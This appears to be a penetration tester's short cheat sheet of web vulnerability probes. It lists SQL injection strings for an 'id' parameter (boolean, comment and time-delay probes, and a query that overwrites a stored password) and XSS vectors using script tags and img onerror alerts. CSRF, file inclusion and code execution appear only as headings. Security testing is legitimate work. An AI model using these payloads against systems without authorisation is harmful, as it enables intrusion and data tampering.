Vulnerabilities cheat sheet

1. sql inections

1.1. index.php?id=2-1

1.2. index.php?id=2+and+1=1

1.3. index.php?id=2"and(1)="1

1.4. index.php?id=2'+and+1=1/*

1.5. index.php?id=-1+or+1

1.6. index.php?id=2"

1.7. index.php?id=2'

1.8. index.php?id=2asd

1.9. index.php?id=2+and+(select+benchmark(10000000,md5(12345)))

1.10. index.php?id=2+and+substring(1,1,1)=1

1.11. INSERT INTO users (login, password, info) VALUES ('user01', '1123', 'hey!') on duplicate key update password='123';

2. CSRF

2.1. tokens

2.2. captcha

2.3. form name autogenerate

3. XSS

3.1. "><h1>test

3.2. "><img src=x onerror=alert(123);>

3.3. "><script>alert(123);</script>

3.4. '><h1>test

3.5. "}';alert(123);

3.6. универсальные векторы (в заметке)

4. Local/remote file include

5. SIXSS

5.1. index.php?id=2+union+select+'<h1>test',2,3

6. code execution

7. logical issues